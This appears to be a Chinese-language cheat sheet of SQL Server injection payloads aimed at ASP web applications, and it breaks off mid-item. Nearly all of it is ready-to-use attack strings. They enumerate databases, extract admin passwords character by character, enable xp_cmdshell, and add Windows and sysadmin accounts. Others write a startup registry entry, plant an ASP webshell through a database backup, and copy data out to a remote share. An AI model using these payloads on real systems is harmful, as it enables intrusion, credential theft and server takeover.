1、返回的是連接的數(shù)據(jù)庫名 and db_name()>0 2、作用是獲取連接用戶名 and user>0 3、將數(shù)據(jù)庫備份到Web目錄下面 ;backup database 數(shù)據(jù)庫名 to disk='c:\inetpub\wwwroot\1.db';-- 4、顯示SQL系統(tǒng)版本 and 1=(select @@VERSION) 或and 1=convert(int,@@version)-- 5、判斷xp_cmdshell擴(kuò)展存儲過程是否存在 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name ='xp_cmdshell') 6、恢復(fù)xp_cmdshell擴(kuò)展存儲的命令 ;exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';-- 7、向啟動組中寫入命令行和執(zhí)行程序 ;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\ Run','help1','REG_SZ','cmd.exe /c net user test ptlove /add' 8、查看當(dāng)前的數(shù)據(jù)庫名稱 and 0 <> db_name(n) n改成0,1,2,3……就可以跨庫了 或and 1=convert(int,db_name())-- 9、不需xp_cmdshell支持在有注入漏洞的SQL服務(wù)器上運行CMD命令(同第76) 10、則把得到的數(shù)據(jù)內(nèi)容全部備份到WEB目錄下 ;backup database 數(shù)據(jù)庫名 to disk='c:\inetpub\wwwroot\save.db' 11、通過復(fù)制CMD創(chuàng)建UNICODE漏洞 ;exec master.dbo.xp_cmdshell "copy c:\winnt\system32\cmd.exe c:\inetpub\scrīpts\cmd.exe" 12、遍歷系統(tǒng)的目錄結(jié)構(gòu),分析結(jié)果并發(fā)現(xiàn)WEB虛擬目錄 先創(chuàng)建一個臨時表:temp ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- (1)利用xp_availablemedia來獲得當(dāng)前所有驅(qū)動器,并存入temp表中 ;insert temp exec master.dbo.xp_availablemedia;-- 通過查詢temp的內(nèi)容來獲得驅(qū)動器列表及相關(guān)信息 (2)利用xp_subdirs獲得子目錄列表,并存入temp表中 ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- (3)還可以利用xp_dirtree獲得所有子目錄的目錄樹結(jié)構(gòu),并寸入temp表中 ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- (實驗成功) 13、查看某個文件的內(nèi)容,可以通過執(zhí)行xp_cmdsell ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 14、將一個文本文件插入到一個臨時表中 ;bulk insert temp(id) from 'c:\inetpub\wwwroot\index.asp' 15、每完成一項瀏覽后,應(yīng)刪除TEMP中的所有內(nèi)容,刪除方法是: ;delete from temp;-- 16、瀏覽TEMP表的方法是: and (select top 1 id from TestDB.dbo.temp)>0 假設(shè)TestDB是當(dāng)前連接的數(shù)據(jù)庫名 17、猜解所有數(shù)據(jù)庫名稱 and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0 dbid=6,7,8分別得到其它庫名 18、猜解數(shù)據(jù)庫中用戶名表的名稱 and (select count(*) from TestDB.dbo.表名)>0 若表名存在,則abc.asp工作正常,否則異常。如此循環(huán),直到猜到系統(tǒng)賬號表的名稱。 19、判斷是否是sysadmin權(quán)限 and 1=(SELECT IS_SRVROLEMEMBER('sysadmin')) 20、判斷是否是SA用戶 'sa'=(SELECT System_user) 21、查看數(shù)據(jù)庫角色 ;use model-- 22、查看庫名 and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)-- 23、獲得第一個用戶建立表的名稱 and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 )>0 假設(shè)要獲得數(shù)據(jù)庫是TestDB.dbo 24、獲得第二個用戶建立的表的名稱 and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 and name not in('xyz'))>0 25、獲得第三個用戶建立的表的名稱 and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 and name not in('xyz',''))>0 ''中為第二個用戶名 26、獲得第四個用戶建立的表的名稱 and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 and name not in('xyz','',''))>0 '',''中為第二,三個用戶名 27、獲得表中記錄的條數(shù) and (select count(*) from 表名)<5 記錄條數(shù)小于5 或 <10 記錄條數(shù)小于10 ……等等 28、測試權(quán)限結(jié)構(gòu)(mssql) and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- and 1=(SELECT IS_SRVROLEMEMBER('serveradmin'));-- and 1=(SELECT IS_SRVROLEMEMBER('setupadmin'));-- and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));-- and 1=(SELECT IS_SRVROLEMEMBER('diskadmin'));-- and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));-- and 1=(SELECT IS_MEMBER('db_owner'));-- 29、 添加mssql和系統(tǒng)的帳戶 ;exec master.dbo.sp_addlogin username;-- ;exec master.dbo.sp_password null,username,password;-- ;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- ;exec master.dbo.xp_cmdshell 'net user username password /add';-- ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 30、 簡潔的webshell use model create table cmd(str image); insert into cmd(str) values ('<%=server.createobject("wscrīpt.shell").exec("cmd.exe /c "&request("c")).stdout.readall%>'); backup database model to disk='g:\wwwtest\l.asp';
請求的時候,像這樣子用: http://ip/l.asp?c=dir 31、猜解字段名稱 猜解法:and (select count(字段名) from 表名)>0 若“字段名”存在,則返回正常 讀取法:and (select top 1 col_name(object_id('表名'),1) from sysobjects)>0 把col_name(object_id('表名'),1)中的1依次換成2,3,4,5,6…就可得到所有的字段名稱。 32、 猜解用戶名與密碼 ASCII碼逐字解碼法:基本的思路是先猜出字段的長度,然后依次猜出每一位的值 and (select top 1 len(username) from admin)=X(X=1,2,3,4,5,… n,假設(shè):username為用戶名字段的名稱,admin為表的名稱 若x為某一值i且abc.asp運行正常時,則i就是第一個用戶名的長度。 and (select top 1 ascii(substring(username,m,1)) from admin)=n (m的值在上一步得到的用戶名長度之間,當(dāng)m=1,2,3,…時猜測分別猜測第1,2,3,…位的值;n的值是1~9、a~z、A~Z的ASCII值,也就是1~128之間的任意值;admin為系統(tǒng)用戶賬號表的名稱), 33、建立數(shù)據(jù)表 ;create table 表名 (列名1 數(shù)據(jù)類型,列名2 數(shù)據(jù)類型);-- 34、向表格中插入數(shù)據(jù) ;insert into 表名 (列名1,列名2,……) values ('值1','值2'……);-- 35、更新記錄 update 表名 set 列名1='值'…… where …… 36、刪除記錄 delete from 表名 where …… 37、刪除數(shù)據(jù)庫表格 drop table 表名 38、將文本文件導(dǎo)入表 使用'bulk insert'語法可以將一個文本文件插入到一個臨時表中。簡單地創(chuàng)建這個表: create table foo( line varchar(8000)) 然后執(zhí)行bulk insert操作把文件中的數(shù)據(jù)插入到表中,如: bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp' 39、備份當(dāng)前數(shù)據(jù)庫的命令: declare @a sysname;set @a=db_name();backup database @a to disk='你的IP你的共享目錄bak.dat' ,name='test';-- 40、使用sp_makewebtask處理過程的相關(guān)請求寫入URL ; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES" 41、將獲得SQLSERVER進(jìn)程的當(dāng)前工作目錄中的目錄列表 Exec master..xp_cmdshell 'dir' 42、將提供服務(wù)器上所有用戶的列表 Exec master..xp_cmdshell 'net user' 43、讀注冊表存儲過程 exec xp_regread HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares' 44、xp_servicecontrol過程允許用戶啟動,停止,暫停和繼續(xù)服務(wù) exec master..xp_servicecontrol 'start','schedule' exec master..xp_servicecontrol 'start','server' 45、顯示機(jī)器上有用的驅(qū)動器 Xp_availablemedia 46、允許獲得一個目錄樹 Xp_dirtree 47、提供進(jìn)程的進(jìn)程ID,終止此進(jìn)程 Xp_terminate_process 48、恢復(fù)xp_cmdshell Exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll' 49、堵上cmdshell的SQL語句 sp_dropextendedproc "xp_cmdshell" 50、不需要XP_CMDSHLL直接添加系統(tǒng)賬號,對XPLOG70.DLL被刪很有效 declare @shell int exec sp_oacreate 'wscrīpt.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user gchn aaa /add'-- 51、在數(shù)據(jù)庫內(nèi)添加一個hax用戶 ;exec sp_addlogin hax;-- 52、給hax設(shè)置密碼 ;exec master.dbo.sp_password null,username,password;-- 53、將hax添加到sysadmin組 ;exec master.dbo.sp_addsrvrolemember sysadmin hax;-- 54、(1)遍歷目錄 ;create table dirs(paths varchar(100), id int) ;insert dirs exec master.dbo.xp_dirtree 'c:\' ;and (select top 1 paths from dirs)>0 ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 55、(2)遍歷目錄 ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ;insert temp exec master.dbo.xp_availablemedia;-- 獲得當(dāng)前所有驅(qū)動器 ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 獲得子目錄列表 ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 獲得所有子目錄的目錄樹結(jié)構(gòu) ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的內(nèi)容 56、mssql中的存儲過程 xp_regenumvalues 注冊表根鍵, 子鍵 ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多個記錄集方式返回所有鍵值 xp_regread 根鍵,子鍵,鍵值名 ;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定鍵的值 xp_regwrite 根鍵,子鍵, 值名, 值類型, 值 值類型有2種REG_SZ 表示字符型,REG_DWORD 表示整型 ;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 寫入注冊表 xp_regdeletevalue 根鍵,子鍵,值名 exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 刪除某個值 xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Tes